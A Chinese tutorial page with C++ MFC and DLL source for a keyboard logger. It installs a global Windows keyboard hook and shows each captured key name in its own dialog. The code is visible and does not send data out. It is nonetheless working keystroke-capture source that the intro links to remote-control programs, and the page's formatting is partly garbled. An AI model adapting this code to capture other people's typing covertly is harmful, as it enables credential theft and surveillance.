C++键盘记录程序代码,值得一看

来源:本站
导读:目前正在解读《C++键盘记录程序代码,值得一看》的相关信息,《C++键盘记录程序代码,值得一看》是由用户自行发布的知识型内容!下面请观看由(电工技术网 - www.9ddd.net)用户发布《C++键盘记录程序代码,值得一看》的详细说明。
简介:这篇文章主要介绍了C++键盘记录程序代码,是Windows应用程序开发中非常实用的功能,该功能也常被一些远程操控程序所实用,需要的朋友可以参考下。

本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:主程序如下:就是基于对话框的框架,加个个OnHookKey函数,代码如下:long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息  {      char szKey[80]={0};      GetKeyNameText(lParam, szKey, 80);      CString strItem;      strItem.Format("按键:%srn", szKey);      CString strEdit;      GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);      GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);      ::MessageBeep(MB_OK);      return 0;  }在初始化时,调用DLL中的:代码如下:SetKeyHook(TRUE, 0, m_hWnd)在析构时,调用DLL中的:代码如下:SetKeyHook(FALSE);.cpp源文件代码:代码如下:#include <afxwin.h>  #define  HM_KEY WM_USER+100  //CMyApp  class CMyApp:public CWinApp  {  public:      BOOL InitInstance();  };    //CMyDialog  class CMainDialog:public CDialog  {  public:      CMainDialog(CWnd* pParentWnd = NULL);    protected:      virtual BOOL OnInitDialog( );      afx_msg void OnCancel();      afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明        DECLARE_MESSAGE_MAP()  };.h头文件代码:代码如下:#include "resource.h"  #include "KeyHookApp.h"  #include "KeyHook.h"  #pragma comment(lib,"KeyHook.lib")    CMyApp theApp;    BOOL CMyApp::InitInstance()  {      CMainDialog dlg;      m_pMainWnd = &dlg;   //给m_pMainWnd 主窗口      dlg.DoModal();      return FALSE; //不进入消息循环  }    BEGIN_MESSAGE_MAP(CMainDialog, CDialog)      ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息  END_MESSAGE_MAP()    //CMainDialog  CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)   {     }   BOOL CMainDialog::OnInitDialog( )  {      CDialog::OnInitDialog();      if (!SetKeyHook(TRUE, 0, m_hWnd))      {          MessageBox("安装钩子失败");      }            return TRUE;  }  //处理关闭消息  void CMainDialog::OnCancel()  {      OutputDebugString("oncancel");      SetKeyHook(FALSE);      CDialog::OnCancel();      return;  }  long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息  {      char szKey[80]={0};      GetKeyNameText(lParam, szKey, 80);      CString strItem;      strItem.Format("按键:%srn", szKey);      CString strEdit;      GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);      GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);      ::MessageBeep(MB_OK);      return 0;  }dll的代码:.cpp源文件代码:代码如下:// KeyHook.cpp : 定义 DLL 应用程序的导出函数。  //    #include "stdafx.h"  #include "KeyHook.h"      //共享数据段  #pragma data_seg("YCIShared")  HWND g_hWndCaller=NULL; //保存主窗口句柄  HHOOK g_hHook = NULL; //保存钩子句柄   #pragma data_seg()  // 这是导出变量的一个示例  KEYHOOK_API int nKeyHook=0;    // 这是导出函数的一个示例。  KEYHOOK_API int fnKeyHook(void)  {      return 42;  }      //通过内存得到模块句柄的帮助函数  HMODULE WINAPI ModuleFromAddress(LPVOID pv)  {      MEMORY_BASIC_INFORMATION  mbi;      if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))      {          return (HMODULE)mbi.AllocationBase;      }      else      {          return NULL;      }  }  //钩子处理函数  LRESULT CALLBACK KeyboardProc(      __in  int code,      __in  WPARAM wParam,      __in  LPARAM lParam      )  {      if (code<0||code==HC_NOREM)      {          return ::CallNextHookEx(g_hHook, code, wParam,lParam);      }      //如果重复消息,交给下一链      if (lParam & 0x40000000)      {          return ::CallNextHookEx(g_hHook, code, wParam,lParam);      }      //通知主窗口      ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);      return ::CallNextHookEx(g_hHook, code, wParam,lParam);        }  //安装和卸载钩子函数  BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)  {      BOOL bRet = TRUE;      g_hWndCaller = hWndCaller;      if (bInstall) //安装钩子      {          g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);          bRet = (g_hHook != NULL);      }      else //卸载钩子      {          ::UnhookWindowsHookEx(g_hHook);          g_hHook = NULL;      }      return bRet;  }  // 这是已导出类的构造函数。  // 有关类定义的信息,请参阅 KeyHook.h  CKeyHook::CKeyHook()  {      return;  }.h头文件代码:代码如下:// 下列 ifdef 块是创建使从 DLL 导出更简单的  // 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS  // 符号编译的。在使用此 DLL 的  // 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将  // KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的  // 符号视为是被导出的。  #ifdef KEYHOOK_EXPORTS  #define KEYHOOK_API __declspec(dllexport)  #else  #define KEYHOOK_API __declspec(dllimport)  #endif    #define  HM_KEY WM_USER + 100  // 此类是从 KeyHook.dll 导出的  class KEYHOOK_API CKeyHook {  public:      CKeyHook(void);      // TODO: 在此添加您的方法。  };    extern KEYHOOK_API int nKeyHook;    KEYHOOK_API int fnKeyHook(void);    //声明要导出的  BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);.def代码:代码如下:EXPORTS      SetKeyHook  SECTIONS      YCIShared  Read Write Shared希望本文所述对大家的C++程序设计有所帮助。

提醒:《C++键盘记录程序代码,值得一看》最后刷新时间 2024-03-14 01:05:04,本站为公益型个人网站,仅供个人学习和记录信息,不进行任何商业性质的盈利。如果内容、图片资源失效或内容涉及侵权,请反馈至,我们会及时处理。本站只保证内容的可读性,无法保证真实性,《C++键盘记录程序代码,值得一看》该内容的真实性请自行鉴别。